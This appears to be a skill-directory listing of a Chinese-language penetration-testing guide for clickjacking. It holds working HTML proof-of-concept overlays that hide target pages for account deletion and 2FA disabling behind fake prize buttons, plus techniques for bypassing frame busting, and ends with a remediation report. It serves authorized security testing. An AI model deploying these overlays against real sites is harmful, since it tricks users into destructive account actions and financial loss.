L’interface est localisée ; les présentations et documents des Skills sont traduits automatiquement par IA dans votre langue. Le code, les commandes, chemins et termes techniques restent en version originale, et le document de l’auteur fait foi.
Explorer les Skills
Développement · SKILL.md

performing-clickjacking-attack-test

performing-clickjacking-attack-test

在授权安全评估中,通过评估框架嵌入控制和构建概念验证覆盖层攻击来测试 Web 应用程序的点击劫持漏洞。

Independent GitHub snapshot · Automated classification · Original documentation governs

Documentation de la Skill

GitHub

name: performing-clickjacking-attack-test description: 在授权安全评估中,通过评估框架嵌入控制和构建概念验证覆盖层攻击来测试 Web 应用程序的点击劫持漏洞。 domain: cybersecurity subdomain: web-application-security tags: [penetration-testing, clickjacking, ui-redressing, web-security, owasp, x-frame-options] version: "1.0" author: mahipal license: Apache-2.0

执行点击劫持攻击测试(Performing Clickjacking Attack Test)

适用场景

  • 在授权渗透测试中评估 UI 重绘(UI Redressing)漏洞时
  • 测试敏感操作(删除账户、转账、更改设置)是否可通过点击劫持执行时
  • 评估 X-Frame-Options 和 Content-Security-Policy frame-ancestors 指令的有效性时
  • 评估处理一键式操作且无额外确认的应用程序时
  • 对处理金融交易或账户管理的应用程序进行安全审计时

前置条件

  • 授权:针对目标的书面渗透测试协议
  • Web 浏览器:现代浏览器,用于测试 iframe 嵌入
  • 本地 Web 服务器:Python http.server 或类似工具,用于托管 PoC 页面
  • Burp Suite:用于检查响应头
  • HTML/CSS 知识:用于构建点击劫持覆盖层页面
  • curl:用于检查目标页面的框架头

工作流程

步骤 1:检查框架嵌入保护

检查响应头中的反点击劫持防御措施。

# 检查 X-Frame-Options 头
curl -s -I "https://target.example.com/" | grep -i "x-frame-options"
# 预期值:
# X-Frame-Options: DENY(阻止所有嵌入)
# X-Frame-Options: SAMEORIGIN(允许同源嵌入)
# X-Frame-Options: ALLOW-FROM https://trusted.com(已废弃,支持有限)

# 检查 Content-Security-Policy frame-ancestors 指令
curl -s -I "https://target.example.com/" | grep -i "content-security-policy"
# 查找:frame-ancestors 'none' 或 frame-ancestors 'self'
# frame-ancestors 'none' = 等同于 DENY
# frame-ancestors 'self' = 等同于 SAMEORIGIN

# 测试多个敏感页面
for page in / /account/settings /account/delete /transfer \
  /admin/dashboard /change-password /change-email; do
  echo -n "$page: "
  headers=$(curl -s -I "https://target.example.com$page")
  xfo=$(echo "$headers" | grep -i "x-frame-options" | tr -d '\r')
  csp=$(echo "$headers" | grep -i "content-security-policy" | grep -o "frame-ancestors[^;]*" | tr -d '\r')
  if [ -z "$xfo" ] && [ -z "$csp" ]; then
    echo "无保护"
  else
    echo "${xfo:-none} | ${csp:-none}"
  fi
done

# 检查是否使用了 JavaScript 框架破坏(弱保护)
curl -s "https://target.example.com/" | grep -i "top.location\|parent.location\|frameElement"

步骤 2:测试基本 Iframe 嵌入

尝试在 iframe 中嵌入目标页面以确认漏洞。

<!-- basic-frame-test.html -->
<html>
<head><title>点击劫持框架测试</title></head>
<body>
<h1>框架嵌入测试</h1>
<p>如果目标页面在下方加载,则容易受到点击劫持攻击。</p>

<!-- 测试基本嵌入 -->
<iframe src="https://target.example.com/account/settings"
        width="800" height="600"
        style="border: 2px solid red;">
</iframe>

<p>如果控制台显示"Refused to display"或 iframe 为空白,
   则该页面有框架保护。</p>
</body>
</html>
# 托管测试页面
cd /tmp
cat > frame-test.html << 'EOF'
<html>
<body>
<h1>点击劫持测试</h1>
<iframe src="https://target.example.com/account/settings"
        width="800" height="600"></iframe>
</body>
</html>
EOF
python3 -m http.server 8888
# 在浏览器中打开 http://localhost:8888/frame-test.html
# 检查浏览器控制台是否有嵌入错误

步骤 3:构建点击劫持概念验证

构建一个覆盖层攻击,诱骗用户点击隐藏元素。

<!-- clickjacking-poc.html -->
<html>
<head>
<title>赢取奖品!</title>
<style>
  body {
    margin: 0;
    padding: 0;
    font-family: Arial, sans-serif;
  }

  /* 包含目标页面的不可见 iframe */
  #target-frame {
    position: absolute;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
    opacity: 0.0001;  /* 几乎不可见 */
    z-index: 2;       /* 在诱饵上方 */
    border: none;
  }

  /* 欺骗用户的诱饵内容 */
  #decoy {
    position: absolute;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
    z-index: 1;
    background: white;
  }

  /* 将"点击此处"按钮精确定位在目标的敏感按钮上方
     (根据目标布局调整 top/left 值) */
  #click-bait {
    position: absolute;
    top: 350px;    /* 与目标的"删除账户"按钮对齐 */
    left: 400px;   /* 水平对齐 */
    padding: 15px 30px;
    background: #4CAF50;
    color: white;
    font-size: 18px;
    cursor: pointer;
    border: none;
    border-radius: 5px;
  }
</style>
</head>
<body>

<!-- 用户可见的诱饵内容 -->
<div id="decoy">
  <h1 style="text-align:center; margin-top:100px;">
    恭喜!您中奖了!
  </h1>
  <p style="text-align:center;">
    点击下方按钮领取奖品
  </p>
  <button id="click-bait">领取奖品</button>
</div>

<!-- 包含目标敏感操作的隐藏 iframe -->
<iframe id="target-frame"
  src="https://target.example.com/account/delete"
  scrolling="no">
</iframe>

</body>
</html>

步骤 4:创建多步骤点击劫持攻击

对于需要多次点击的操作,创建多步骤覆盖层。

<!-- multi-step-clickjacking.html -->
<html>
<head>
<title>完成调查</title>
<style>
  #target-frame {
    position: absolute;
    width: 100%;
    height: 100%;
    opacity: 0.0001;
    z-index: 2;
    border: none;
  }
  #step-container {
    text-align: center;
    margin-top: 200px;
    z-index: 1;
    position: relative;
  }
  .step { display: none; }
  .step.active { display: block; }
  .btn {
    padding: 15px 40px;
    font-size: 18px;
    background: #2196F3;
    color: white;
    border: none;
    cursor: pointer;
    margin-top: 20px;
  }
</style>
</head>
<body>

<div id="step-container">
  <!-- 步骤 1:点击与目标上的"设置"链接对齐 -->
  <div class="step active" id="step1">
    <h2>步骤 1:选择您的奖励</h2>
    <button class="btn" onclick="nextStep()"
      style="position:absolute; top:200px; left:300px;">
      黄金套餐
    </button>
  </div>

  <!-- 步骤 2:点击与"删除账户"按钮对齐 -->
  <div class="step" id="step2">
    <h2>步骤 2:确认您的选择</h2>
    <button class="btn" onclick="nextStep()"
      style="position:absolute; top:350px; left:400px;">
      确认
    </button>
  </div>

  <!-- 步骤 3:点击与"是的,我确定"确认框对齐 -->
  <div class="step" id="step3">
    <h2>步骤 3:领取奖励!</h2>
    <button class="btn"
      style="position:absolute; top:400px; left:450px;">
      立即领取!
    </button>
  </div>
</div>

<iframe id="target-frame"
  src="https://target.example.com/account/settings">
</iframe>

<script>
var currentStep = 1;
function nextStep() {
  document.getElementById('step' + currentStep).classList.remove('active');
  currentStep++;
  document.getElementById('step' + currentStep).classList.add('active');
  // 可选:针对多页面流程更改 iframe src
}
</script>
</body>
</html>

步骤 5:测试框架破坏绕过技术

如果使用了基于 JavaScript 的框架保护,尝试绕过它。

<!-- 绕过 JavaScript 框架破坏 -->

<!-- 技术 1:sandbox 属性阻止顶级导航 -->
<iframe src="https://target.example.com/account/settings"
  sandbox="allow-scripts allow-forms allow-same-origin"
  width="800" height="600">
</iframe>
<!-- 不含 allow-top-navigation 的 sandbox 阻止框架破坏 -->

<!-- 技术 2:双重嵌套 -->
<!-- 如果目标检查:if (top !== self) top.location = self.location -->
<!-- 通过同样嵌套目标的中间页面来嵌入页面 -->
<iframe src="intermediate.html" width="800" height="600"></iframe>
<!-- intermediate.html 包含:<iframe src="https://target.example.com/..."> -->

<!-- 技术 3:拦截 onbeforeunload -->
<script>
window.onbeforeunload = function() {
  return "您确定要离开吗?";  // 阻止导航离开
};
</script>
<iframe src="https://target.example.com/account/settings"
  width="800" height="600">
</iframe>

<!-- 技术 4:使用 data: URI 或 about:blank -->
<iframe id="f" src="about:blank" width="800" height="600"></iframe>
<script>
var iframe = document.getElementById('f');
iframe.contentDocument.write(
  '<iframe src="https://target.example.com/account/settings" width="100%" height="100%"></iframe>'
);
</script>

步骤 6:验证影响并记录发现

确认点击劫持能导致有意义的影响。

# 托管 PoC 并测试攻击流程
cd /tmp
python3 -m http.server 8888

# 测试步骤:
# 1. 在浏览器中登录 target.example.com
# 2. 打开 http://localhost:8888/clickjacking-poc.html
# 3. 点击诱饵按钮
# 4. 验证目标上的敏感操作是否已执行

# 报告用:调整 iframe 透明度以显示重叠
# 将透明度从 0.0001 改为 0.5 以获取截图证据
# 这显示了诱饵内容后面可见的目标页面

# 记录哪些敏感操作存在漏洞:
# - 账户删除
# - 密码/邮箱更改
# - 资金转账
# - 权限/角色更改
# - 启用/禁用安全功能

核心概念

概念定义
点击劫持(Clickjacking)通过覆盖诱饵内容欺骗用户点击隐藏元素的 UI 重绘攻击
X-Frame-Options控制页面是否可嵌入 iframe 的 HTTP 头(DENY、SAMEORIGIN)
frame-ancestors指定 iframe 嵌入有效父级的 CSP 指令(取代 X-Frame-Options)
框架破坏(Frame Busting)尝试跳出 iframe 的 JavaScript 防御机制(易被绕过)
Likejacking针对社交媒体"点赞"或"分享"按钮的点击劫持变体
光标劫持(Cursorjacking)使用 CSS 偏移可见光标与实际点击位置的变体
多步骤点击劫持(Multi-step Clickjacking)需要多次点击的攻击,每个步骤的诱饵内容各不相同

工具与系统

工具用途
Burp Suite Professional检查响应上的 X-Frame-Options 和 CSP 头
Clickjack Tester(浏览器)基于浏览器的 iframe 嵌入测试工具
浏览器 DevTools检查框架嵌入行为和控制台错误
Python http.server在本地托管点击劫持 PoC 页面
OWASP ZAP自动检测缺少的反框架头
securityheaders.com缺失安全头的在线扫描器

常见场景

场景 1:通过点击劫持删除账户

/account/delete 的账户删除页面没有 X-Frame-Options 头。攻击者创建一个带有"赢取奖品"按钮的页面,将其定位在透明 iframe 中"删除我的账户"按钮的上方。

场景 2:一键资金转账

银行应用程序通过预填表单上的单一按钮点击执行转账。在没有框架保护的情况下,攻击者将转账页面嵌入 iframe,并覆盖诱饵"玩游戏"按钮。

场景 3:通过多步骤点击劫持禁用 2FA

禁用双因素认证需要两次点击(设置链接,然后禁用按钮)。多步骤点击劫持 PoC 引导受害者完成两次诱饵点击,这些点击与真实按钮对齐。

场景 4:OAuth 授权点击劫持

OAuth 同意屏幕允许嵌入。攻击者嵌入同意页面并诱骗受害者点击"授权",将攻击者的应用程序访问权授予受害者账户。

输出格式

## 点击劫持漏洞发现报告

**漏洞**:点击劫持 — 缺少框架嵌入保护
**严重性**:中(CVSS 6.1)
**位置**:/account/settings、/account/delete、/transfer
**OWASP 类别**:A04:2021 - 不安全设计

### 头部分析
| 页面 | X-Frame-Options | CSP frame-ancestors | 是否易受攻击 |
|------|----------------|--------------------|-|
| / | 未设置 | 未设置 | 是 |
| /account/settings | 未设置 | 未设置 | 是 |
| /account/delete | 未设置 | 未设置 | 是 |
| /transfer | 未设置 | 未设置 | 是 |
| /login | SAMEORIGIN | - | 否 |

### 可被利用的敏感操作
1. 账户删除(单次点击,无需重新认证)
2. 邮箱更改(单次点击,无需确认)
3. 2FA 禁用(两次点击,多步骤 PoC)
4. 资金转账(预填表单,单次点击)

### 影响
- 通过邮箱更改点击劫持实现账户接管
- 通过删除点击劫持毁坏账户
- 通过转账点击劫持造成财务损失
- 通过 2FA 禁用点击劫持降低安全性

### 修复建议
1. 为所有页面添加 `Content-Security-Policy: frame-ancestors 'none'`
2. 设置 `X-Frame-Options: DENY` 作为旧版浏览器的回退措施
3. 对敏感操作要求重新认证(删除、转账)
4. 添加无法预填或自动提交的确认对话框
5. 实施 SameSite=Strict Cookie 以减少 iframe 中的会话可用性
Skills enregistrées